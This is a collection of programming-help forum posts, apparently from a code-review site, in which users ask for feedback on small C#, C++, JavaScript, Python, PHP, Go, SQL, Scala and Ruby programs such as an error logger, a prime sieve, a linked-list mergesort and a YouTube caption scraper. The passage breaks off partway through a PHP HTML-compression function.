texts:
Recently I created a class that would manager errors, log them, and write details about them to files when the function logError was called. It would be done by having an error code and error message and then displaying the error to the console and writing it to the file if the user wanted to.

I just posted this here to see if there was any way I can improve the class.

using log4net;
using System;
using System.Collections.Generic;

namespace Kiwi.Application.Base.Error
{
    sealed class ErrorManager
    {
        private readonly Dictionary<string, string> errorCodes;
        private readonly ILog myLogger;

        public ErrorManager()
        {
            errorCodes = new Dictionary<string, string>();
            myLogger = LogManager.GetLogger(typeof(ErrorManager));

            // Add some errors and their messages to the dictionary
            errorCodes.Add("bn1x", "Error when beginning to listen on server socket.");
            errorCodes.Add("dm9e", "Unable to locate the error log file.");
        }

        public void logError(string errorCode, bool writeErrorToFile = false)
        {
            string errorMessage;
            if (errorCodes.TryGetValue(errorCode, out errorMessage))
            {
                myLogger.Warn(errorMessage);

                if (writeErrorToFile)
                    logToFile(errorCode);
            }
            else
            {
                logUnhandeldError("[Error code " + errorCode + "] " + errorCode);
            }
        }

        private void logUnhandeldError(string errorCode)
        {
            myLogger.Error("Unhandeld error " + errorCode);
        }

        private void logToFile(string errorCode = "", string fileName = "logs/error.log")
        {
            try
            {
                using (System.IO.StreamWriter file = new System.IO.StreamWriter(fileName, true))
                {
                    file.WriteLine("Error " + errorCode + " logged at " + getErrorTimestamp());
                    file.WriteLine("Message: " + tryGetErrorMessage(errorCode));
                }
            }
            catch (System.IO.FileNotFoundException)
            {
                logError("dm9e");
            }
        }

        private string getErrorTimestamp()
        {
            return DateTime.Now.ToLongDateString();
        }

        private string tryGetErrorMessage(string errorCode)
        {
            string errorMessage;

            if (errorCodes.TryGetValue(errorCode, out errorMessage))
                return errorMessage;

            else return "";
        }
    }
}


texts:
I have a Customer class that has the code below. I can refactor the two if condition clauses into the Memebership class. Apart from that, I am wondering how I should refactor the if clause within the Benefits set property, without over-complicating thing.

Does any one of these below apply?

Patterns of refacotring if to subclass/strategy/state/polymorphism.

  public class Customer
    {

            public Membership Membership { get; private set; }
            public bool Hasbenefits { get; private set; }

            private int benefits;

            public int Benefits
            {
                get
                {
                    return benefits;
                }

                set
                {
                    if (Membership.Name == "MembershipA")
                    {
                        this.Hasbenefits = false;
                    }
                    else if (Membership.Name == "MembershipB")
                    {
                        this.Hasbenefits = true;
                        this.benefits = value * 4 + 2;
                    }
                    else
                    {
                        this.Hasbenefits = true;
                        this.benefits = value;
                    }
                }
            }
    }

Any advice would be very much appreciated!


texts:
This prints out a triple layer circle with 12 points per circle and finds the points across a grid.

I had a really hard time with this and I'm planning to implement a lot more code but I don't want to spoil my end result.   I'm new so take it easy on me but feel free to criticize as I am looking to improve my coding and syntax.

#include <iostream>
#include <algorithm>
#include <cmath>

struct vec2{
double circ;
double x;
double y;
} v[36];

void circle(){
double pi = 3.141;
double r = 6.75;
for (int i = 0; i < 3; i++) {
    v[i].circ = (2*pi)*r;
    std::cout << "circ # " << i+1 << ": " << v[i].circ << std::endl;

    for (int j = 0; j < 12; j++)  {
         int w = 19;
         int h = 12;
         int comp = j*30;
        double rad = comp * (pi / 180);
        double x = w + (r * cos(rad)) * 5/3;
        double y = h + (r * sin(rad));
        int fact = i*12+j;
        v[fact].x=x;
        v[fact].y=y;
        }    r += 2;
    std::cout << std::endl;
    }}

bool vecfind(int row, int col){
for(int i = 0; i<36; i++){
    if(v[i].x >= col && v[i].x  < col+1 &&
                v[i].y >= row && v[i].y < row+1)
    { return true;}
    }
    return false;
    }

void square(){
for(int row = 0; row < 23; row++){
    for(int col = 0; col < 39;col++){
        if (vecfind(row, col)){std::cout << "x";}
        else{std::cout << " ";}}
std::cout << std::endl;}
return;}

int main() {
circle();
square();

return 0;}

output:

circ # 1: 42.4035

circ # 2: 54.9675

circ # 3: 67.5315

                  x
          x                x
                  x
           x              x
                  x
   x         x          x         x
      x                        x
         x                  x

 x  x  x                      x  x  x

         x                  x
      x                        x
   x         x          x         x
                   x
           x              x
                   x
          x                x
                   x


texts: How would you count in the Fibonacci Sequence?

texts:
I was wondering if I did this in a remotely acceptable way:

var fib = function(params) {
    var iterations = params;
    var output = [0];

    for(var i = 1, j = 1; j < iterations; j++){
        //i is the fibonacci sequence
        //j counts iterations
        output.push(i);
        i = parseInt(output[j]) + parseInt(output[j-1]);

    }
        console.log(output[iterations-1]);
}

fib("4");

Here the function takes in a parameter (eg 4), then a for loop counts through and adds every Fibonacci number until that iteration to an array (so in this example, 4 values are in the output array).

Mostly I'd just like to know if you guys would reach a similar conclusion and if I did anything that's a huge no-no, particularly using output[iterations-1] to force the counter to be at the same point as the array (due to 0th index) seems iffy.


texts:
I wrote some code to do regularised linear regression and it works, but I don't like the fact that I've had to double call the functions when plotting, nor the fact that I've sliced those calls to get the parts that I want.

import numpy as np
import matplotlib.pyplot as plt

def fit(phi_fn, xx, yy):
    w_fit = np.linalg.lstsq(phi_fn(xx), yy, rcond=None)[0]
    grid_size = 0.01
    x_grid = np.arange(0,9,grid_size)[:,None]
    f_grid = np.matmul(phi_fn(x_grid),w_fit)
    return(x_grid, f_grid)

def fitreg(phi_fn, xx, yy,lamb):
    yy = np.pad(yy,(0,8),'constant',constant_values=0)
    zz = np.concatenate((phi_fn(xx),lamb*np.identity(8)),axis=0)
    w_fit = np.linalg.lstsq(zz, yy, rcond=None)[0]
    grid_size = 0.01
    x_grid = np.arange(0,9,grid_size)[:,None]
    f_grid = np.matmul(phi_fn(x_grid),w_fit)
    return(x_grid, f_grid)

def phi_poly(xx):
        return np.concatenate([np.ones((xx.shape[0],1)), xx,xx**2,xx**3,xx**4,xx**5,xx**6,xx**7], axis=1)

D = 1
N = 10
mu = np.array([0,1,2,3,4,5,6,7,8,9])

xx = np.tile(mu[:,None], (1, D)) + 0.01*np.random.randn(N, D)
yy = 2*xx + 2*np.random.randn(N,D)

plt.clf()
plt.plot(xx,yy,'kx')

plt.plot(fit(phi_poly, xx, yy)[0], fit(phi_poly, xx, yy)[1], 'b-')
plt.plot(fitreg(phi_poly, xx, yy,1)[0], fitreg(phi_poly, xx, yy,1)[1][:,0], 'r-')
plt.plot(fitreg(phi_poly, xx, yy,10)[0], fitreg(phi_poly, xx, yy,10)[1][:,0], 'g-')
plt.plot(fitreg(phi_poly, xx, yy,0.1)[0], fitreg(phi_poly, xx, yy,0.1)[1][:,0], 'y-')

plt.show()


texts:
I'm dealing with design layers of an application. Basically what I've so far are:

Business
Architecture: Client-Server
Techonologies: PHP+MySQL, HTML5, JS, 3rd parties APIs

My app

Data Sources: MySql databases, 3rd party APIs
Data Layer: Interface with CRUD operations, PDO for accessing DBs, Classes implementing CRUD interface, Classes for communication with APIs
Repository: Classes & Interfaces with bussiness methods for accessing datasource.
Business object: value objects and business rules
Application layer: controls flow between Data Layer and Presentation.
Presentation layer: html design with javascript & ajax & php code. Interacts with application layer for data retrieval

Implementation

Data Source

1x MySQL Database

1x 3rd party api

Data Layer

interface DSOps
{
    /*
    * @return array
    */
    function read($sql);

    /*
    * @return array
    */
    function readAll($sql);

    /*
    * @return boolean
    */
    function save($sql);

    /*
    * @return boolean
    */
    function delete($sql);
}

use PDO;

class DSSql implements DSOps
{
    private $bd;

    public function __construct( PDO $bd)
    {
        $this->bd =  $bd;
    }

    public function read($sql)
    {
        $stmt=$this->bd->prepare($sql);
        $stmt->execute();
        $response = $stmt->fetch(PDO::FETCH_ASSOC);
        return $response;
    }

    public function readAll($sql)
    {
        $stmt=$this->bd->prepare($sql);
        $stmt->execute();
        $response = $stmt->fetchAll(PDO::FETCH_ASSOC);
        return $response;
    }

    public function save($sql, $params)
    {
        $stmt=$this->bd->prepare($sql);
        return $stmt->execute($params);

    }

    public function borrar($sql, $params)
    {
        $stmt=$this->bd->prepare($sql);
        return $stmt->execute($params);

    }
}

Repositories:

interface QueryClients
{
    /*
    * @return Client
    */
    public function searchById($id);

    /*
    * @return array()
    */
    public function searchAll();

    /*
    * @return int
    */
    public function count();

}

class RepoClients implements QueryClients
{
    private $ds;

    public function __construct(DSOps $_ds)
    {
        $this->ds = $_ds;
    }

    /*
    * @return array
    */
    public function searchById($id)
    {
        $sql = " SELECT  * FROM clients WHERE id=$id;";
        $response=$this->ds->read($sql);
        return $response;
    }

    /*
    * @return array()
    */
    public function searchAll()
    {
        $sql = " SELECT * FROM clients; ";
        $response=$this->searchAll($sql);
        return $response;
    }

....
}

I've multiple modules that implements the same design. When implementing these design I have the following doubts:

Is correct to form queries at repository classes?
Where should I handle SQL errors? Having an SQLError
How should I handle access to APIs?
As my app has role based access for users, how does this impacts my
design/implementation? Based on logged user role I've create
different classes using same interface but implementing different
queries to database.


texts: Finding the difference between postal addresses

texts:
I have to compose an email where I have to list a list of difference between old and new value of a list of addresses. Only a subset of properties have to be listed, so the first thing that pops into my mind is doing something like this:

private static List<Difference> RetrieveDifferences(IEnumerable<AddressPoco> newValues, AddressPoco item){
  var result = new List<Difference>();
  var c = newValues.SingleOrDefault(x => x.xedsAddressID == item.xedsAddressID);
  if (c != null)
  {
    if (item.xgeoCountryID != c.xgeoCountryID){
       result.Add(new Difference("Country", item.xgeoCountryID.ToString(), c.xgeoCountryID.ToString()));
    }
    if (item.AddressTypeName != c.AddressTypeName){
       result.Add(new Difference("Address Type", item.AddressTypeName, c.AddressTypeName));
    }
    if (item.City != c.City){
       result.Add(new Difference("City", item.City, c.City));
    }
    if (item.POBox != c.POBox){
       result.Add(new Difference("POBox", item.POBox, c.POBox));
    }
    if (item.MainContact != c.MainContact){
       result.Add(new Difference("Main Contact", item.MainContact, c.MainContact));
    }
    if (item.PostCode != c.PostCode){
       result.Add(new Difference("PostCode", item.PostCode, c.PostCode));
    }
    if (item.Street != c.Street){
       result.Add(new Difference("Street", item.Street, c.Street));
    }
 }
 return result;
}

public class Difference {
  public string Key { get; set; }
  public string OldValue { get; set; }
  public string NewValue { get; set; }
  public Difference(string key, string oldValue, string newValue)
  {
    Key = key; OldValue = oldValue; NewValue = newValue;
  }
}

However, Visual Studio shows me a low maintainability index of 50 and high cyclomatic complexity in 18 rows.  I can understand why.  Any suggestion for how to improve it?


texts: Yes/no confirmation buttons on a slide-out panel

texts:
I have the following js code and am wondering how I can make it clean. It works fine but there are few repetitions. Is there a way to make it more clean?

$('.js-decline-button').click(function() {
    $('.js-confirmation').show().stop(true).animate({ left : '0' }, 500);
});

$('.js-confirmation-yes').click(function() {
    $('.js-confirmation').stop(true).animate({ left : '-100%' }, 500);
    $('.container').delay( 500 ).fadeOut( 200 ).hide(200);
});

$('.js-confirmation-no').click(function() {
    $('.js-confirmation').stop(true).animate({ left : '-100%' }, 500);
});

jsFiddle


texts: jQuery hover and click events for a five-star rating

texts:
This seems a little bit excessive, and was wondering if I can refactor this jQuery. I'm not sure if you need anymore information, or if it's possible just by looking at this script.

  var getActiveState;
  $(".modal-review__rating-order-wrap span").hover(function(){
    $(this).parent().removeClass("is-active");
    var thisStar = $(this).parent().find("[data-rating-value="+getActiveState+"]")
    thisStar.removeClass("is-active");
  }, function(){
    var thisStar = $(this).parent().find("[data-rating-value="+getActiveState+"]")
    if(getActiveState){
      $(this).parent().addClass("is-active");
      thisStar.addClass("is-active");
    }
  });
  $(".modal-review__rating-order-wrap span").on("click",function(){
    $(this).parent().addClass("is-active");
    $(".modal-review__rating-order-wrap span").not(this).removeClass("is-active");
    $(this).addClass("is-active");
    getActiveState = $(this).data("rating-value");
    return getActiveState;
  });

This is applied to a 5 star system, wanted to show what the jQuery is affecting. When jQuery clicks on the star, it adds an .is-active class to the span, and also to the wrap.

    <svg>star 1</svg>

    <svg>star 2</svg>

    <svg>star 3</svg>

    <svg>star 4</svg>

    <svg>star 5</svg>


texts: Bottom up mergesort - singly linked list

texts:
I have written the following program in Go to mergesort a singly linked list. It does bottom up merge sort and hence does not have to find the mid of the linked list. Please review the algorithm and the code for idiomatic Go.

package main

import (
    "fmt"
)

type node struct {
    val  int
    next *node
}

type list struct {
    head *node
}

func newList(arr []int) *list {

    if arr == nil || len(arr) == 0 {
        return nil
    }
    l := new(list)
    l.head = getNode(arr[0])
    prev := l.head
    for i := 1; i < len(arr); i++ {
        n := getNode(arr[i])
        prev.next = n
        prev = n
    }

    return l
}

func printList(n *node) {
    for p := n; p != nil; p = p.next {
        fmt.Printf("%d ", p.val)
    }
}

func getNode(v int) *node {
    n := new(node)
    n.val = v
    return n
}

func skip(n *node, len int) (fast *node, slow *node) {

    counter := 0
    fast = n
    slow = n
    for counter < len {
        if fast != nil && fast.next != nil {
            fast = fast.next.next
        } else if fast != nil {
            fast = fast.next
        }

        if slow != nil {
            slow = slow.next
        }

        counter++
    }

    return fast, slow

}

func (l *list) mergesort() {

    // start with sublength of 1
    // compare 0,with 1, 2 with 3
    // skip n.next.next for next bunch

    sublen := 1
    len := 0
    counted := false

    for !counted || sublen < len {
        for n := l.head; n != nil; {
            fast, slow := skip(n, sublen)

            merge(n, slow, sublen)

            if !counted {
                len += 2
            }
            n = fast
        }
        counted = true
        sublen += sublen
    }
}

func merge(p *node, q *node, len int) {

    i := p

    if q == nil {
        // nothing to merge, return
        return
    }

    j := q
    ilen := 0
    jlen := 0

    var head *node
    var prev *node
    var end *node
    var penult *node

    for (i != q && ilen < len) && (j != nil && jlen < len) {

        if i.val < j.val {
            n := getNode(i.val)
            append(n, &head, &prev)
            i = i.next
            penult = prev
            prev = n
            ilen++
        } else {
            n := getNode(j.val)
            append(n, &head, &prev)
            setEnd(&end, j, jlen, len)
            j = j.next
            penult = prev
            prev = n
            jlen++
        }
    }

    for i != q && ilen < len {
        n := getNode(i.val)
        append(n, &head, &prev)
        i = i.next
        penult = prev
        prev = n
        ilen++
    }
    for j != nil && jlen < len {
        n := getNode(j.val)
        append(n, &head, &prev)
        setEnd(&end, j, jlen, len)
        j = j.next
        penult = prev
        prev = n
        jlen++
    }

    // replace into original list
    p.val = head.val
    end.val = prev.val

    // do we have any nodes between head and new end (prev) or is it just the
    // two nodes (head and new end (prev)?
    if head != penult {
        p.next = head.next
        penult.next = end
    }
}

func setEnd(end **node, n *node, partlen int, len int) {

    if n.next != nil && partlen < len-1 {
        *end = n.next
    } else {
        *end = n
    }
}

func append(n *node, head **node, prev **node) {

    if *head == nil {
        *head = n
        *prev = n
    } else {
        (*prev).next = n
    }
}

func main() {

    l := newList([]int{10, 4, 2, 15, 8, 9, 12, 1, 6})
    fmt.Println("Original: ")
    printList(l.head)
    l.mergesort()
    fmt.Println("\nSorted:")
    printList(l.head)

}

Also shared here


texts:
I have a system that outputs a comma separated string into a single column.  I need to grab the individual values out of that list.  The list could have random spaces and commas that need to be accounted for.  I'm new to MySQL and I have a working example that just seems rather long.  I'm wondering if there is a simpler way to achieve this.

delete from example;

drop procedure if exists testProc;

DELIMITER ;;
CREATE PROCEDURE `testProc`(
  in p_willBeUsedLater int(10) unsigned
)
    MODIFIES SQL DATA
myProc:begin

DECLARE theValue varchar(10);

/* Test Cases - PASSED
DECLARE myList varchar(255) default '';
DECLARE myList varchar(255) default null;
DECLARE myList varchar(255) default '1';
DECLARE myList varchar(255) default '1,2';
*/

/* This passes as well. */
DECLARE myList varchar(255) default ' ,, ,   1,2  ,3, 456 , 7 8 9 ABC ,,  ';

SET myList = trim(myList);

/* If first char is a comma remove it. */
WHILE (LOCATE(',',myList) = 1)
DO
    SET myList = SUBSTR(myList, 2);
    SET myList = trim(myList); /* could have been spaces between internal commas */
END WHILE;

/* If last char is a comma remove it. */
SET myList = REVERSE(myList);
WHILE (LOCATE(',',myList) = 1)
DO
    SET myList = SUBSTR(myList, 2);
    SET myList = trim(myList); /* could have been spaces between internal commas */
END WHILE;
/* Put back to correct order. */
SET myList = REVERSE(myList);

WHILE (length(myList) > 0)
DO
    IF (LOCATE(',',myList) = 0) THEN
        SET theValue = trim(myList);
        SET myList = '';
    ELSE
        SET theValue = trim(substring(myList,1,LOCATE(',',myList)-1));
        SET myList = trim(substring(myList,LOCATE(',',myList)+1,length(myList)));
    END IF;

    INSERT INTO `EXAMPLE`(text1, text2) VALUES(myList, theValue);
END WHILE;
end;;
DELIMITER ;

call testProc(36);

select * from example;

Successful output:

    text1                      text2
--------------------------------------------
    2  ,3, 456 , 7 8 9 ABC         1
    3, 456 , 7 8 9 ABC             2
    456 , 7 8 9 ABC                3
    7 8 9 ABC                  456
                               7 8 9 ABC

text1 just shows the current state of the list shrinking with each loop.  text2 is the money column, that's the correct data I need.


texts: Scraping all closed captions (subtitles) of a YouTube's creator's video library

texts:
A script that scrapes all YouTube's videos closed captions(subtitles) of a single creator's video library. It scrapes either auto-generated or manually written subtitles. The script accepts a link to the creators video library, such as, "https://www.youtube.com/user/creator/videos" and outputs subtitles of each video to it own respective '.txt' file. I use Selenium to trigger the events and BeautifulSoup to scrape the content.

import time
from bs4 import BeautifulSoup
import urllib.request
from selenium import webdriver
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import re
import sys

# Clicks on "Load More" button to display all users videos.
def display_all_videos(driver):
    while(True):
        try:
            element = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CLASS_NAME, "yt-uix-load-more")))
            element.click()
        except:
            break

# Creates a list of tuples (video_title, video_link) of all
# videos displayed on page
def video_list(driver):
    videos = driver.find_elements_by_class_name("yt-uix-tile-link")
    video_links = []
    for vid in videos:
        video_links.append((vid.text,vid.get_attribute("href")))
    return video_links

# Clicks on CC(Closed Caption) button in YouTube video
def enable_subtitles(driver):
    elem = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CLASS_NAME, "ytp-subtitles-button")))
    elem.click()

def subtitles_link(driver):
    time.sleep(1)
    timings = driver.execute_script("return window.performance.getEntries();")

    # Find string in timings that contains the substring 'srv3'
    # which is the subtitles link.
    link = ""
    for t in timings:
         for v in t.values():
             if "srv3" in str(v):
                 link = v
    return link

def create_file(title, link,subtitles):
    # remove illegal chars for file name
    title = "".join([c for c in filename if c.isalpha() or c.isdigit() or c==' ']).rstrip()

    try:
        file = open(title + '.txt', 'w')
        file.write('LINK: ' + link + '\n')
        file.write(subtitles)
        file.close()
    except:
        print("Can't create file for: " + title + " : " + link)

def scrape_subtitles(subtitle_link):
    r = urllib.request.urlopen(subtitle_link).read()
    soup = BeautifulSoup(r)

    # Remove tags (<*>), \n, and unecessary whitespace
    s = re.sub(r'<.+?>', '', soup.prettify())
    s = re.sub(r'\n', '', s)
    s = re.sub( '\s+', ' ', s ).strip()
    return s

def main(argv):
    driver = webdriver.Chrome('C:\Program Files\ChromeDriver\chromedriver.exe')

    # Visit page and load all videos to create a list of
    # tuples(video_name,video_link) of the videos
    driver.get(argv[1])
    display_all_videos(driver)
    videos = video_list(driver)

    # Visit video's page and enable 'CC' to scrape the subtitles and
    # save subtitles to '.txt' file.
    for v in videos:
        driver.get(v[1])
        try:
            enable_subtitles(driver)
            link = subtitles_link(driver)
            subtitles = scrape_subtitles(link)
        except:
            subtitles = "No Closed Caption"
        create_file(v[0],v[1],subtitles)

if __name__ == "__main__":
    main(sys.argv)

Readable?
Follows Python's best practices?


texts: Bowling game Kata in Scala - pattern match

texts:
This is a functional approach to problem described by standard Bowling Game Kata - to implement the rules of calculating a score in a bowling game. The inspiration was the implementation by Uncle Bob: http://butunclebob.com/ArticleS.UncleBob.TheBowlingGameKata

  The game consists of 10 frames as shown above.  In each frame the
  player has two opportunities to knock down 10 pins.  The score for the
  frame is the total number of pins knocked down, plus bonuses for
  strikes and spares.

  A spare is when the player knocks down all 10 pins in two tries.  The
  bonus for that frame is the number of pins knocked down by the next
  roll.

  A strike is when the player knocks down all 10 pins on his first try.
  The bonus for that frame is the value of the next two balls rolled.

  In the tenth frame a player who rolls a spare or strike is allowed to
  roll the extra balls to complete the frame.  However no more than
  three balls can be rolled in tenth frame.

Any feedback of my pattern-match-with-recursion implementation f bowling game kata will be greatly appreciated:

import org.scalatest.{FlatSpec, Matchers}

class BowlingGameTest extends FlatSpec with Matchers {
  "sanity test" should "pass" in {
    true shouldBe true
  }

  "gutter game" should "have no points" in {
    val score = BowlingGame.count(Seq.fill(20)(0))
    score shouldBe 0
  }

  "all ones" should "return sum of points" in {
    val score = BowlingGame.count(Seq.fill(20)(1))
    score shouldBe 20
  }

  "spare" should "get bonus from next throw" in {
    val points: Seq[Int] = Seq(5, 5, 8, 0) ++ Seq.fill(16)(0)
    val score = BowlingGame.count(points)
    score shouldBe 26
  }

  "multiple spares" should "get bonus from each next throw" in {
    val points: Seq[Int] = Seq(5, 5, 8, 2, 7) ++ Seq.fill(15)(0)
    val score = BowlingGame.count(points)
    score shouldBe 42
  }

  "strike" should "get bonus points from two next throws" in {
    val points: Seq[Int] = Seq(10, 5, 2, 0) ++ Seq.fill(16)(0)
    val score = BowlingGame.count(points)
    score shouldBe 24
  }

  "multiple strikes" should "get bonus points from two next throws" in {
    val points: Seq[Int] = Seq(10, 10, 5, 2, 0) ++ Seq.fill(15)(0)
    val score = BowlingGame.count(points)
    score shouldBe 49
  }

  "spare in last round" should "get bonus points from a single additional throw" in {
    val points: Seq[Int] = Seq.fill(18)(0) ++ Seq(5, 5, 8)
    val score = BowlingGame.count(points)
    score shouldBe 18
  }

  "strike in last round" should "get bonus points from two additional throws" in {
    val points: Seq[Int] = Seq.fill(18)(0) ++ Seq(10, 5, 3)
    val score = BowlingGame.count(points)
    score shouldBe 18
  }

  "strike in last round and in first additional throw" should "get no bonus points from additional throws" in {
    val points: Seq[Int] = Seq.fill(18)(0) ++ Seq(10, 10, 3)
    val score = BowlingGame.count(points)
    score shouldBe 23
  }

  "maximum game" should "get bonuses in each round" in {
    val score=  BowlingGame.count(Seq.fill(12)(10))
    score shouldBe 300
  }

  "partial game" should "return score so far" in {
    BowlingGame.count(Seq(1,2,3)) shouldBe 6
  }
}

object BowlingGame {
  def count(points: Seq[Int]): Int = {
    def countHelper(ps: Seq[Int], score: Int): Int = ps match {
      case Nil => score
      case left :: Nil => score + left
      case lastRoundStrike :: additional1 :: additional2 :: Nil => score + lastRoundStrike + additional1 + additional2
      case strike :: next :: nextnext :: _ if strike == 10 => countHelper(ps.tail, score + strike + next + nextnext)
      case spareL :: spareR :: next :: pss if spareL + spareR == 10 => countHelper(next :: pss, score + spareL + spareR + next)
      case left :: right :: pss => countHelper(pss, score + left + right)
    }

    countHelper(points, 0)
  }

}


texts:
In my Rails app I need to import some files from CSV and Excel files. I needed it in 2 models so I have written lib/importable.rb:

module Importable
  def self.included(base)
    base.send :extend, ActAsMethods
  end

  module ActAsMethods
    def act_as_importable(&block)
      @import_block = block
      send :extend, ImportableMethods
    end

    attr_reader :import_block
  end

  module ImportableMethods
    def import_from(file, *args)
      raise 'This model is not importable' if import_block.nil?

      send(:before_import, *args) if respond_to? :before_import

      sheet = open_spreadsheet(file)

      header = sheet.row(1).map(&:to_sym)

      (2..sheet.last_row).map do |i|
        row = Hash[header.zip(sheet.row(i))]

        import_block.call(row, *args)
      end
    end

    private
    def open_spreadsheet(file)
      logger.info "Importing file #{file.original_filename}"
      case File.extname(file.original_filename)
      when '.csv'  then Csv.new(file.path, nil, :ignore)
      when '.xls'  then Excel.new(file.path, nil, :ignore)
      when '.xlsx' then Excelx.new(file.path, nil, :ignore)
      when '.ods'  then Openoffice.new(file.path, nil, :ignore)
      else raise "Unknown file type: #{file.original_filename}"
      end
    rescue
      raise "Cannot open file: #{file.original_filename}"
    end
  end
end

class ActiveRecord::Base
  include Importable
end

And in model I need to write, i.e.:

class Invoice < ActiveRecord::Base
  act_as_importable do |row, company|
    invoice = company.invoices.find_or_initialize_by_name(row[:name].to_s)

    vat_in = if row[:client].is_a? String
               row[:client]
             else
               row[:client].to_i
             end
    client = company.clients.find_by_vat_in(vat_in.to_s)

    invoice.client = client

    invoice.pay_date = row[:pay_date]
    invoice.full_amount = row[:full_amount].to_i
    invoice.paid_amount = row[:paid_amount].to_i

    invoice.save!

    invoice
  end
end

The importing in controller looks like:

  def save
    file = params[:file]

    logger.debug file.path

    Invoice.transaction do
      @invoices = Invoice.import_from(file, current_company)
      @invoices.each(&:save)
    end
  rescue RuntimeError => error
    logger.debug error
    redirect_to import_company_clients_path, alert: I18n.t('invalid_file')
  rescue ActiveRecord::RecordInvalid
    redirect_to import_company_clients_path, alert: I18n.t('invalid_record')
  else
    respond_to do |format|
      format.html
      format.json { render json: @invoices }
    end
  end

But IMHO it's a little overbloated. Have you any suggedtions to make it more reagable and Gemified?


texts:
This is a Python module I have just finished writing which I plan to use at Project Euler.  Please let me know how I have done and what I could do to improve it.

# This constant is more or less an overestimate for the range in which
# n primes exist.  Generally 100 primes exist well within 100 * CONST numbers.
CONST = 20

def primeEval(limit):
    ''' This function yields primes using the
    Sieve of Eratosthenes.

    '''
    if limit:
        opRange = [True] * limit
        opRange[0] = opRange[1] = False

        for (ind, primeCheck) in enumerate(opRange):
            if primeCheck:
                yield ind
                for i in range(ind*ind, limit, ind):
                    opRange[i] = False

def listToNthPrime(termin):
    ''' Returns a list of primes up to the nth
    prime.
    '''
    primeList = []
    for i in primeEval(termin * CONST):
        primeList.append(i)
        if len(primeList) >= termin:
            break
    return primeList

def nthPrime(termin):
    ''' Returns the value of the nth prime.

    '''
    primeList = []
    for i in primeEval(termin * CONST):
        primeList.append(i)
        if len(primeList) >= termin:
            break
    return primeList[-1]

def listToN(termin):
    ''' Returns a list of primes up to the
    number termin.
    '''
    return list(primeEval(termin))

def lastToN(termin):
    ''' Returns the prime which is both less than n
    and nearest to n.

    '''
    return list(primeEval(termin))[-1]


texts: Reducing cyclomatic complexity in a simple string concatenation

texts:
I have written the following function that takes an address object and builds a string using the object properties. It will later be used to display a tooltip

var getAddressTooltip = function (address) {

    var tooltip = '';

    if (address.MasterAddress !== undefined &&
        address.MasterAddress !== null &&
        address.MasterAddress.Id !== undefined &&
        address.MasterAddress.Id !== null) {
        tooltip += '[' + address.MasterAddress.Id + '] ';
    }
    if (address.PurchasingContact !== null &&
        address.PurchasingContact !== undefined &&
        address.PurchasingContact.Name !== null &&
        address.PurchasingContact.Name !== undefined &&
        address.PurchasingContact.Name.length > 0) {
        tooltip += $.trim(address.PurchasingContact.Name) + ',\n';
    }
    if (address.ShipTo !== null && address.ShipTo !== undefined && address.ShipTo.length > 0) {
        tooltip += $.trim(address.ShipTo) + ',\n';
    }
    if (address.Line1 !== null && address.Line1 !== undefined && address.Line1.length > 0) {
        tooltip += $.trim(address.Line1) + ',\n';
    }
    if (address.Line2 !== null && address.Line2 !== undefined && address.Line2.length > 0) {
        tooltip += $.trim(address.Line2) + ',\n';
    }
    if (address.City !== null && address.City !== undefined && address.City.length > 0) {
        tooltip += $.trim(address.City) + ',\n';
    }
    if (address.State !== null &&
        address.State !== undefined &&
        address.State.Name !== null &&
        address.State.Name !== undefined &&
        address.State.Name.length > 0) {
        tooltip += $.trim(address.State.Name) + ',\n';
    }
    if (address.ZIP !== null && address.ZIP !== undefined && address.ZIP.length > 0) {
        tooltip += $.trim(address.ZIP) + ',\n';
    }

    //replace trailing comma / line break
    if (tooltip.substr(tooltip.length - 2, 2) === ',\n') {
        tooltip = tooltip.substr(0, tooltip.length - 2);
    }

    return tooltip;
};

As you can probably tell, I'm rather fastidious about ensuring the values are there before concatenating them, as we have had problems in the past with properties coming back as undefined and bringing the whole application crashing to a halt.

However, the cyclomatic complexity of this function is through the roof because of all the null / undefined / length > 0 checks that I'm doing. It is entirely possible that I'm taking things too far.

What I'm wondering is if anybody knows a faster, smarter and tidier way of doing the same thing? Do I really need all these checks? It appears that if I want valid, safe and linted JavaScript, all of them are necessary.


texts:
I would like to compress a Magento HTML page using some regex, and this is what I have written:

function html_compress($string){

    global $idarray;
    $idarray=array();

    //Replace PRE and TEXTAREA tags
    $search=array(
                    '@(<)\s*?(pre\b[^>]*?)(>)([\s\S]*?)(<)\s*(/\s*?pre\s*?)(>)@',   //Find PRE Tag
                    '@(<)\s*?(textarea\b[^>]*?)(>)([\s\S]*?)(<)\s*?(/\s*?textarea\s*?)(>)@' //Find TEXTAREA
                );
    $string=preg_replace_callback($search,
                                    function($m){
                                        $id='<!['.uniqid().']!>';
                                        global $idarray;
                                        $idarray[]=array($id,$m[0]);
                                        return $id;
                                    },
                                    $string
    );

    //Remove blank useless space
    $search = array(
                    '@( |\t|\f)+@', // Shorten multiple whitespace sequences
                    '@(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+@',   //Remove blank lines
                    '@^(\s)+|( |\t|\0|\r\n)+$@' //Trim Lines
                    );
    $replace = array(' ',"\\1",'');
    $string = preg_replace($search, $replace, $string);

    //Replace IE COMMENTS, SCRIPT, STYLE and CDATA tags
    $search=array(
                    '@<!--\[if\s(?:[^<]+|<(?!!\[endif\]-->))*<!\[endif\]-->@',  //Find IE Comments
                    '@(<)\s*?(script\b[^>]*?)(>)([\s\S]*?)(<)\s*?(/\s*?script\s*?)(>)@',    //Find SCRIPT Tag
                    '@(<)\s*?(style\b[^>]*?)(>)([\s\S]*?)(<)\s*?(/\s*?style\s*?)(>)@',  //Find STYLE Tag
                    '@(//<!\[CDATA\[([\s\S]*?)//]]>)@', //Find commented CDATA
                    '@(<!\[CDATA\[([\s\S]*?)]]>)@'  //Find CDATA
                );
    $string=preg_replace_callback($search,
                                    function($m){
                                        $id='<!['.uniqid().']!>';
                                        global $idarray;
                                        $idarray[]=array($id,$m[0]);
                                        return $id;
                                    },
                                    $string
    );

    //Remove blank useless space
    $search = array(
                    '@(class|id|value|alt|href|src|style|title)=(\'\s*?\'|"\s*?")@',    //Remove empty attribute
                    '@<!--([\s\S]*?)-->@',  // Strip comments except IE
                    '@[\r\n|\n|\r]@', // Strip break line
                    '@[ |\t|\f]+@', // Shorten multiple whitespace sequences
